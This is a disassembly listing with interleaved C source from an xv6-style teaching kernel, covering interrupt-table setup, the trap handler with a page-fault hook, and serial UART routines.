801064a1: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
801064a5: 8d 45 fa lea -0x6(%ebp),%eax
801064a8: 0f 01 18 lidtl (%eax)
}
801064ab: c9 leave
801064ac: c3 ret
801064ad <rcr2>:
return result;
}
static inline uint
rcr2(void)
{
801064ad: 55 push %ebp
801064ae: 89 e5 mov %esp,%ebp
801064b0: 83 ec 10 sub $0x10,%esp
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
801064b3: 0f 20 d0 mov %cr2,%eax
801064b6: 89 45 fc mov %eax,-0x4(%ebp)
return val;
801064b9: 8b 45 fc mov -0x4(%ebp),%eax
}
801064bc: c9 leave
801064bd: c3 ret
801064be <tvinit>:
extern void pageFault(uint *va);
void
tvinit(void)
{
801064be: 55 push %ebp
801064bf: 89 e5 mov %esp,%ebp
801064c1: 83 ec 28 sub $0x28,%esp
int i;
for(i = 0; i < 256; i++)
801064c4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801064cb: e9 c3 00 00 00 jmp 80106593 <tvinit+0xd5>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
801064d0: 8b 45 f4 mov -0xc(%ebp),%eax
801064d3: 8b 04 85 98 b0 10 80 mov -0x7fef4f68(,%eax,4),%eax
801064da: 89 c2 mov %eax,%edx
801064dc: 8b 45 f4 mov -0xc(%ebp),%eax
801064df: 66 89 14 c5 60 49 11 mov %dx,-0x7feeb6a0(,%eax,8)
801064e6: 80
801064e7: 8b 45 f4 mov -0xc(%ebp),%eax
801064ea: 66 c7 04 c5 62 49 11 movw $0x8,-0x7feeb69e(,%eax,8)
801064f1: 80 08 00
801064f4: 8b 45 f4 mov -0xc(%ebp),%eax
801064f7: 0f b6 14 c5 64 49 11 movzbl -0x7feeb69c(,%eax,8),%edx
801064fe: 80
801064ff: 83 e2 e0 and $0xffffffe0,%edx
80106502: 88 14 c5 64 49 11 80 mov %dl,-0x7feeb69c(,%eax,8)
80106509: 8b 45 f4 mov -0xc(%ebp),%eax
8010650c: 0f b6 14 c5 64 49 11 movzbl -0x7feeb69c(,%eax,8),%edx
80106513: 80
80106514: 83 e2 1f and $0x1f,%edx
80106517: 88 14 c5 64 49 11 80 mov %dl,-0x7feeb69c(,%eax,8)
8010651e: 8b 45 f4 mov -0xc(%ebp),%eax
80106521: 0f b6 14 c5 65 49 11 movzbl -0x7feeb69b(,%eax,8),%edx
80106528: 80
80106529: 83 e2 f0 and $0xfffffff0,%edx
8010652c: 83 ca 0e or $0xe,%edx
8010652f: 88 14 c5 65 49 11 80 mov %dl,-0x7feeb69b(,%eax,8)
80106536: 8b 45 f4 mov -0xc(%ebp),%eax
80106539: 0f b6 14 c5 65 49 11 movzbl -0x7feeb69b(,%eax,8),%edx
80106540: 80
80106541: 83 e2 ef and $0xffffffef,%edx
80106544: 88 14 c5 65 49 11 80 mov %dl,-0x7feeb69b(,%eax,8)
8010654b: 8b 45 f4 mov -0xc(%ebp),%eax
8010654e: 0f b6 14 c5 65 49 11 movzbl -0x7feeb69b(,%eax,8),%edx
80106555: 80
80106556: 83 e2 9f and $0xffffff9f,%edx
80106559: 88 14 c5 65 49 11 80 mov %dl,-0x7feeb69b(,%eax,8)
80106560: 8b 45 f4 mov -0xc(%ebp),%eax
80106563: 0f b6 14 c5 65 49 11 movzbl -0x7feeb69b(,%eax,8),%edx
8010656a: 80
8010656b: 83 ca 80 or $0xffffff80,%edx
8010656e: 88 14 c5 65 49 11 80 mov %dl,-0x7feeb69b(,%eax,8)
80106575: 8b 45 f4 mov -0xc(%ebp),%eax
80106578: 8b 04 85 98 b0 10 80 mov -0x7fef4f68(,%eax,4),%eax
8010657f: c1 e8 10 shr $0x10,%eax
80106582: 89 c2 mov %eax,%edx
80106584: 8b 45 f4 mov -0xc(%ebp),%eax
80106587: 66 89 14 c5 66 49 11 mov %dx,-0x7feeb69a(,%eax,8)
8010658e: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
8010658f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106593: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp)
8010659a: 0f 8e 30 ff ff ff jle 801064d0 <tvinit+0x12>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801065a0: a1 98 b1 10 80 mov 0x8010b198,%eax
801065a5: 66 a3 60 4b 11 80 mov %ax,0x80114b60
801065ab: 66 c7 05 62 4b 11 80 movw $0x8,0x80114b62
801065b2: 08 00
801065b4: 0f b6 05 64 4b 11 80 movzbl 0x80114b64,%eax
801065bb: 83 e0 e0 and $0xffffffe0,%eax
801065be: a2 64 4b 11 80 mov %al,0x80114b64
801065c3: 0f b6 05 64 4b 11 80 movzbl 0x80114b64,%eax
801065ca: 83 e0 1f and $0x1f,%eax
801065cd: a2 64 4b 11 80 mov %al,0x80114b64
801065d2: 0f b6 05 65 4b 11 80 movzbl 0x80114b65,%eax
801065d9: 83 c8 0f or $0xf,%eax
801065dc: a2 65 4b 11 80 mov %al,0x80114b65
801065e1: 0f b6 05 65 4b 11 80 movzbl 0x80114b65,%eax
801065e8: 83 e0 ef and $0xffffffef,%eax
801065eb: a2 65 4b 11 80 mov %al,0x80114b65
801065f0: 0f b6 05 65 4b 11 80 movzbl 0x80114b65,%eax
801065f7: 83 c8 60 or $0x60,%eax
801065fa: a2 65 4b 11 80 mov %al,0x80114b65
801065ff: 0f b6 05 65 4b 11 80 movzbl 0x80114b65,%eax
80106606: 83 c8 80 or $0xffffff80,%eax
80106609: a2 65 4b 11 80 mov %al,0x80114b65
8010660e: a1 98 b1 10 80 mov 0x8010b198,%eax
80106613: c1 e8 10 shr $0x10,%eax
80106616: 66 a3 66 4b 11 80 mov %ax,0x80114b66
initlock(&tickslock, "time");
8010661c: c7 44 24 04 00 8b 10 movl $0x80108b00,0x4(%esp)
80106623: 80
80106624: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
8010662b: e8 c0 e7 ff ff call 80104df0 <initlock>
}
80106630: c9 leave
80106631: c3 ret
80106632 <idtinit>:
void
idtinit(void)
{
80106632: 55 push %ebp
80106633: 89 e5 mov %esp,%ebp
80106635: 83 ec 08 sub $0x8,%esp
lidt(idt, sizeof(idt));
80106638: c7 44 24 04 00 08 00 movl $0x800,0x4(%esp)
8010663f: 00
80106640: c7 04 24 60 49 11 80 movl $0x80114960,(%esp)
80106647: e8 38 fe ff ff call 80106484 <lidt>
}
8010664c: c9 leave
8010664d: c3 ret
8010664e <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
8010664e: 55 push %ebp
8010664f: 89 e5 mov %esp,%ebp
80106651: 57 push %edi
80106652: 56 push %esi
80106653: 53 push %ebx
80106654: 83 ec 4c sub $0x4c,%esp
if(tf->trapno == T_SYSCALL){
80106657: 8b 45 08 mov 0x8(%ebp),%eax
8010665a: 8b 40 30 mov 0x30(%eax),%eax
8010665d: 83 f8 40 cmp $0x40,%eax
80106660: 75 3f jne 801066a1 <trap+0x53>
if(proc->killed)
80106662: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106668: 8b 40 24 mov 0x24(%eax),%eax
8010666b: 85 c0 test %eax,%eax
8010666d: 74 05 je 80106674 <trap+0x26>
exit();
8010666f: e8 f1 e0 ff ff call 80104765 <exit>
proc->tf = tf;
80106674: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010667a: 8b 55 08 mov 0x8(%ebp),%edx
8010667d: 89 50 18 mov %edx,0x18(%eax)
syscall();
80106680: e8 e9 ed ff ff call 8010546e <syscall>
if(proc->killed)
80106685: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010668b: 8b 40 24 mov 0x24(%eax),%eax
8010668e: 85 c0 test %eax,%eax
80106690: 74 0a je 8010669c <trap+0x4e>
exit();
80106692: e8 ce e0 ff ff call 80104765 <exit>
return;
80106697: e9 54 02 00 00 jmp 801068f0 <trap+0x2a2>
8010669c: e9 4f 02 00 00 jmp 801068f0 <trap+0x2a2>
}
uint *va;
// char *mem;
// uint a;
switch(tf->trapno){
801066a1: 8b 45 08 mov 0x8(%ebp),%eax
801066a4: 8b 40 30 mov 0x30(%eax),%eax
801066a7: 83 e8 0e sub $0xe,%eax
801066aa: 83 f8 31 cmp $0x31,%eax
801066ad: 0f 87 e3 00 00 00 ja 80106796 <trap+0x148>
801066b3: 8b 04 85 a8 8b 10 80 mov -0x7fef7458(,%eax,4),%eax
801066ba: ff e0 jmp *%eax
case T_IRQ0 + IRQ_TIMER:
if(cpu->id == 0){
801066bc: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801066c2: 0f b6 00 movzbl (%eax),%eax
801066c5: 84 c0 test %al,%al
801066c7: 75 31 jne 801066fa <trap+0xac>
acquire(&tickslock);
801066c9: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
801066d0: e8 3c e7 ff ff call 80104e11 <acquire>
ticks++;
801066d5: a1 60 51 11 80 mov 0x80115160,%eax
801066da: 83 c0 01 add $0x1,%eax
801066dd: a3 60 51 11 80 mov %eax,0x80115160
wakeup(&ticks);
801066e2: c7 04 24 60 51 11 80 movl $0x80115160,(%esp)
801066e9: e8 32 e5 ff ff call 80104c20 <wakeup>
release(&tickslock);
801066ee: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
801066f5: e8 79 e7 ff ff call 80104e73 <release>
}
lapiceoi();
801066fa: e8 d1 c7 ff ff call 80102ed0 <lapiceoi>
break;
801066ff: e9 68 01 00 00 jmp 8010686c <trap+0x21e>
case T_IRQ0 + IRQ_IDE:
ideintr();
80106704: e8 d5 bf ff ff call 801026de <ideintr>
lapiceoi();
80106709: e8 c2 c7 ff ff call 80102ed0 <lapiceoi>
break;
8010670e: e9 59 01 00 00 jmp 8010686c <trap+0x21e>
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
80106713: e8 87 c5 ff ff call 80102c9f <kbdintr>
lapiceoi();
80106718: e8 b3 c7 ff ff call 80102ed0 <lapiceoi>
break;
8010671d: e9 4a 01 00 00 jmp 8010686c <trap+0x21e>
case T_IRQ0 + IRQ_COM1:
uartintr();
80106722: e8 be 03 00 00 call 80106ae5 <uartintr>
lapiceoi();
80106727: e8 a4 c7 ff ff call 80102ed0 <lapiceoi>
break;
8010672c: e9 3b 01 00 00 jmp 8010686c <trap+0x21e>
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106731: 8b 45 08 mov 0x8(%ebp),%eax
80106734: 8b 48 38 mov 0x38(%eax),%ecx
cpu->id, tf->cs, tf->eip);
80106737: 8b 45 08 mov 0x8(%ebp),%eax
8010673a: 0f b7 40 3c movzwl 0x3c(%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
8010673e: 0f b7 d0 movzwl %ax,%edx
cpu->id, tf->cs, tf->eip);
80106741: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106747: 0f b6 00 movzbl (%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
8010674a: 0f b6 c0 movzbl %al,%eax
8010674d: 89 4c 24 0c mov %ecx,0xc(%esp)
80106751: 89 54 24 08 mov %edx,0x8(%esp)
80106755: 89 44 24 04 mov %eax,0x4(%esp)
80106759: c7 04 24 08 8b 10 80 movl $0x80108b08,(%esp)
80106760: e8 3b 9c ff ff call 801003a0 <cprintf>
cpu->id, tf->cs, tf->eip);
lapiceoi();
80106765: e8 66 c7 ff ff call 80102ed0 <lapiceoi>
break;
8010676a: e9 fd 00 00 00 jmp 8010686c <trap+0x21e>
case T_PGFLT:
va =(uint*) rcr2();
8010676f: e8 39 fd ff ff call 801064ad <rcr2>
80106774: 89 45 e4 mov %eax,-0x1c(%ebp)
if ((uint) va <= proc->sz){
80106777: 8b 55 e4 mov -0x1c(%ebp),%edx
8010677a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106780: 8b 00 mov (%eax),%eax
80106782: 39 c2 cmp %eax,%edx
80106784: 77 10 ja 80106796 <trap+0x148>
pageFault(va);
80106786: 8b 45 e4 mov -0x1c(%ebp),%eax
80106789: 89 04 24 mov %eax,(%esp)
8010678c: e8 a7 1c 00 00 call 80108438 <pageFault>
break;
80106791: e9 d6 00 00 00 jmp 8010686c <trap+0x21e>
// mappages(proc->pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
80106796: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010679c: 85 c0 test %eax,%eax
8010679e: 74 11 je 801067b1 <trap+0x163>
801067a0: 8b 45 08 mov 0x8(%ebp),%eax
801067a3: 0f b7 40 3c movzwl 0x3c(%eax),%eax
801067a7: 0f b7 c0 movzwl %ax,%eax
801067aa: 83 e0 03 and $0x3,%eax
801067ad: 85 c0 test %eax,%eax
801067af: 75 46 jne 801067f7 <trap+0x1a9>
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
801067b1: e8 f7 fc ff ff call 801064ad <rcr2>
801067b6: 8b 55 08 mov 0x8(%ebp),%edx
801067b9: 8b 5a 38 mov 0x38(%edx),%ebx
tf->trapno, cpu->id, tf->eip, rcr2());
801067bc: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801067c3: 0f b6 12 movzbl (%edx),%edx
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
801067c6: 0f b6 ca movzbl %dl,%ecx
801067c9: 8b 55 08 mov 0x8(%ebp),%edx
801067cc: 8b 52 30 mov 0x30(%edx),%edx
801067cf: 89 44 24 10 mov %eax,0x10(%esp)
801067d3: 89 5c 24 0c mov %ebx,0xc(%esp)
801067d7: 89 4c 24 08 mov %ecx,0x8(%esp)
801067db: 89 54 24 04 mov %edx,0x4(%esp)
801067df: c7 04 24 2c 8b 10 80 movl $0x80108b2c,(%esp)
801067e6: e8 b5 9b ff ff call 801003a0 <cprintf>
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
801067eb: c7 04 24 5e 8b 10 80 movl $0x80108b5e,(%esp)
801067f2: e8 43 9d ff ff call 8010053a <panic>
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801067f7: e8 b1 fc ff ff call 801064ad <rcr2>
801067fc: 89 c2 mov %eax,%edx
801067fe: 8b 45 08 mov 0x8(%ebp),%eax
80106801: 8b 78 38 mov 0x38(%eax),%edi
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106804: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010680a: 0f b6 00 movzbl (%eax),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010680d: 0f b6 f0 movzbl %al,%esi
80106810: 8b 45 08 mov 0x8(%ebp),%eax
80106813: 8b 58 34 mov 0x34(%eax),%ebx
80106816: 8b 45 08 mov 0x8(%ebp),%eax
80106819: 8b 48 30 mov 0x30(%eax),%ecx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
8010681c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106822: 83 c0 6c add $0x6c,%eax
80106825: 89 45 d4 mov %eax,-0x2c(%ebp)
80106828: 65 a1 04 00 00 00 mov %gs:0x4,%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010682e: 8b 40 10 mov 0x10(%eax),%eax
80106831: 89 54 24 1c mov %edx,0x1c(%esp)
80106835: 89 7c 24 18 mov %edi,0x18(%esp)
80106839: 89 74 24 14 mov %esi,0x14(%esp)
8010683d: 89 5c 24 10 mov %ebx,0x10(%esp)
80106841: 89 4c 24 0c mov %ecx,0xc(%esp)
80106845: 8b 75 d4 mov -0x2c(%ebp),%esi
80106848: 89 74 24 08 mov %esi,0x8(%esp)
8010684c: 89 44 24 04 mov %eax,0x4(%esp)
80106850: c7 04 24 64 8b 10 80 movl $0x80108b64,(%esp)
80106857: e8 44 9b ff ff call 801003a0 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
rcr2());
proc->killed = 1;
8010685c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106862: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80106869: eb 01 jmp 8010686c <trap+0x21e>
ideintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
8010686b: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
8010686c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106872: 85 c0 test %eax,%eax
80106874: 74 24 je 8010689a <trap+0x24c>
80106876: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010687c: 8b 40 24 mov 0x24(%eax),%eax
8010687f: 85 c0 test %eax,%eax
80106881: 74 17 je 8010689a <trap+0x24c>
80106883: 8b 45 08 mov 0x8(%ebp),%eax
80106886: 0f b7 40 3c movzwl 0x3c(%eax),%eax
8010688a: 0f b7 c0 movzwl %ax,%eax
8010688d: 83 e0 03 and $0x3,%eax
80106890: 83 f8 03 cmp $0x3,%eax
80106893: 75 05 jne 8010689a <trap+0x24c>
exit();
80106895: e8 cb de ff ff call 80104765 <exit>
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
8010689a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068a0: 85 c0 test %eax,%eax
801068a2: 74 1e je 801068c2 <trap+0x274>
801068a4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068aa: 8b 40 0c mov 0xc(%eax),%eax
801068ad: 83 f8 04 cmp $0x4,%eax
801068b0: 75 10 jne 801068c2 <trap+0x274>
801068b2: 8b 45 08 mov 0x8(%ebp),%eax
801068b5: 8b 40 30 mov 0x30(%eax),%eax
801068b8: 83 f8 20 cmp $0x20,%eax
801068bb: 75 05 jne 801068c2 <trap+0x274>
yield();
801068bd: e8 27 e2 ff ff call 80104ae9 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
801068c2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068c8: 85 c0 test %eax,%eax
801068ca: 74 24 je 801068f0 <trap+0x2a2>
801068cc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068d2: 8b 40 24 mov 0x24(%eax),%eax
801068d5: 85 c0 test %eax,%eax
801068d7: 74 17 je 801068f0 <trap+0x2a2>
801068d9: 8b 45 08 mov 0x8(%ebp),%eax
801068dc: 0f b7 40 3c movzwl 0x3c(%eax),%eax
801068e0: 0f b7 c0 movzwl %ax,%eax
801068e3: 83 e0 03 and $0x3,%eax
801068e6: 83 f8 03 cmp $0x3,%eax
801068e9: 75 05 jne 801068f0 <trap+0x2a2>
exit();
801068eb: e8 75 de ff ff call 80104765 <exit>
}
801068f0: 83 c4 4c add $0x4c,%esp
801068f3: 5b pop %ebx
801068f4: 5e pop %esi
801068f5: 5f pop %edi
801068f6: 5d pop %ebp
801068f7: c3 ret
801068f8 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
801068f8: 55 push %ebp
801068f9: 89 e5 mov %esp,%ebp
801068fb: 83 ec 14 sub $0x14,%esp
801068fe: 8b 45 08 mov 0x8(%ebp),%eax
80106901: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80106905: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80106909: 89 c2 mov %eax,%edx
8010690b: ec in (%dx),%al
8010690c: 88 45 ff mov %al,-0x1(%ebp)
return data;
8010690f: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80106913: c9 leave
80106914: c3 ret
80106915 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80106915: 55 push %ebp
80106916: 89 e5 mov %esp,%ebp
80106918: 83 ec 08 sub $0x8,%esp
8010691b: 8b 55 08 mov 0x8(%ebp),%edx
8010691e: 8b 45 0c mov 0xc(%ebp),%eax
80106921: 66 89 55 fc mov %dx,-0x4(%ebp)
80106925: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80106928: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
8010692c: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80106930: ee out %al,(%dx)
}
80106931: c9 leave
80106932: c3 ret
80106933 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80106933: 55 push %ebp
80106934: 89 e5 mov %esp,%ebp
80106936: 83 ec 28 sub $0x28,%esp
char *p;
// Turn off the FIFO
outb(COM1+2, 0);
80106939: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106940: 00
80106941: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106948: e8 c8 ff ff ff call 80106915 <outb>
// 9600 baud, 8 data bits, 1 stop bit, parity off.
outb(COM1+3, 0x80); // Unlock divisor
8010694d: c7 44 24 04 80 00 00 movl $0x80,0x4(%esp)
80106954: 00
80106955: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
8010695c: e8 b4 ff ff ff call 80106915 <outb>
outb(COM1+0, 115200/9600);
80106961: c7 44 24 04 0c 00 00 movl $0xc,0x4(%esp)
80106968: 00
80106969: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106970: e8 a0 ff ff ff call 80106915 <outb>
outb(COM1+1, 0);
80106975: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010697c: 00
8010697d: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106984: e8 8c ff ff ff call 80106915 <outb>
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
80106989: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80106990: 00
80106991: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106998: e8 78 ff ff ff call 80106915 <outb>
outb(COM1+4, 0);
8010699d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801069a4: 00
801069a5: c7 04 24 fc 03 00 00 movl $0x3fc,(%esp)
801069ac: e8 64 ff ff ff call 80106915 <outb>
outb(COM1+1, 0x01); // Enable receive interrupts.
801069b1: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
801069b8: 00
801069b9: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
801069c0: e8 50 ff ff ff call 80106915 <outb>
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
801069c5: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
801069cc: e8 27 ff ff ff call 801068f8 <inb>
801069d1: 3c ff cmp $0xff,%al
801069d3: 75 02 jne 801069d7 <uartinit+0xa4>
return;
801069d5: eb 6a jmp 80106a41 <uartinit+0x10e>
uart = 1;
801069d7: c7 05 4c b6 10 80 01 movl $0x1,0x8010b64c
801069de: 00 00 00
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
801069e1: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
801069e8: e8 0b ff ff ff call 801068f8 <inb>
inb(COM1+0);
801069ed: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
801069f4: e8 ff fe ff ff call 801068f8 <inb>
picenable(IRQ_COM1);
801069f9: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106a00: e8 cd d3 ff ff call 80103dd2 <picenable>
ioapicenable(IRQ_COM1, 0);
80106a05: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106a0c: 00
80106a0d: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106a14: e8 44 bf ff ff call 8010295d <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106a19: c7 45 f4 70 8c 10 80 movl $0x80108c70,-0xc(%ebp)
80106a20: eb 15 jmp 80106a37 <uartinit+0x104>
uartputc(*p);
80106a22: 8b 45 f4 mov -0xc(%ebp),%eax
80106a25: 0f b6 00 movzbl (%eax),%eax
80106a28: 0f be c0 movsbl %al,%eax
80106a2b: 89 04 24 mov %eax,(%esp)
80106a2e: e8 10 00 00 00 call 80106a43 <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106a33: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106a37: 8b 45 f4 mov -0xc(%ebp),%eax
80106a3a: 0f b6 00 movzbl (%eax),%eax
80106a3d: 84 c0 test %al,%al
80106a3f: 75 e1 jne 80106a22 <uartinit+0xef>
uartputc(*p);
}
80106a41: c9 leave
80106a42: c3 ret
80106a43 <uartputc>:
void
uartputc(int c)
{
80106a43: 55 push %ebp
80106a44: 89 e5 mov %esp,%ebp
80106a46: 83 ec 28 sub $0x28,%esp
int i;
if(!uart)
80106a49: a1 4c b6 10 80 mov 0x8010b64c,%eax
80106a4e: 85 c0 test %eax,%eax
80106a50: 75 02 jne 80106a54 <uartputc+0x11>
return;
80106a52: eb 4b jmp 80106a9f <uartputc+0x5c>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106a54: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80106a5b: eb 10 jmp 80106a6d <uartputc+0x2a>
microdelay(10);
80106a5d: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80106a64: e8 8c c4 ff ff call 80102ef5 <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106a69: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106a6d: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp)
80106a71: 7f 16 jg 80106a89 <uartputc+0x46>
80106a73: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106a7a: e8 79 fe ff ff call 801068f8 <inb>
80106a7f: 0f b6 c0 movzbl %al,%eax
80106a82: 83 e0 20 and $0x20,%eax
80106a85: 85 c0 test %eax,%eax
80106a87: 74 d4 je 80106a5d <uartputc+0x1a>
microdelay(10);
outb(COM1+0, c);
80106a89: 8b 45 08 mov 0x8(%ebp),%eax
80106a8c: 0f b6 c0 movzbl %al,%eax
80106a8f: 89 44 24 04 mov %eax,0x4(%esp)
80106a93: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106a9a: e8 76 fe ff ff call 80106915 <outb>
}
80106a9f: c9 leave
80106aa0: c3 ret
80106aa1 <uartgetc>:
static int
uartgetc(void)
{
80106aa1: 55 push %ebp
80106aa2: 89 e5 mov %esp,%ebp
80106aa4: 83 ec 04 sub $0x4,%esp
if(!uart)
80106aa7: a1 4c b6 10 80 mov 0x8010b64c,%eax
80106aac: 85 c0 test %eax,%eax
80106aae: 75 07 jne 80106ab7 <uartgetc+0x16>
return -1;
80106ab0: b8 ff ff ff ff mov $0xffffffff,%eax
80106ab5: eb 2c jmp 80106ae3 <uartgetc+0x42>
if(!(inb(COM1+5) & 0x01))
80106ab7: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106abe: e8 35 fe ff ff call 801068f8 <inb>
80106ac3: 0f b6 c0 movzbl %al,%eax
80106ac6: 83 e0 01 and $0x1,%eax
80106ac9: 85 c0 test %eax,%eax
80106acb: 75 07 jne 80106ad4 <uartgetc+0x33>
return -1;
80106acd: b8 ff ff ff ff mov $0xffffffff,%eax
80106ad2: eb 0f jmp 80106ae3 <uartgetc+0x42>
return inb(COM1+0);
80106ad4: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106adb: e8 18 fe ff ff call 801068f8 <inb>
80106ae0: 0f b6 c0 movzbl %al,%eax
}
80106ae3: c9 leave
80106ae4: c3 ret
80106ae5 <uartintr>:
void
uartintr(void)
{
80106ae5: 55 push %ebp
80106ae6: 89 e5 mov %esp,%ebp
80106ae8: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80106aeb: c7 04 24 a1 6a 10 80 movl $0x80106aa1,(%esp)
80106af2: e8 b6 9c ff ff call 801007ad <consoleintr>
}
80106af7: c9 leave
80106af8: c3 ret
80106af9 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80106af9: 6a 00 push $0x0
pushl $0
80106afb: 6a 00 push $0x0
jmp alltraps
80106afd: e9 57 f9 ff ff jmp 80106459 <alltraps>
80106b02 <vector1>:
.globl vector1
vector1:
pushl $0
80106b02: 6a 00 push $0x0
pushl $1
80106b04: 6a 01 push $0x1
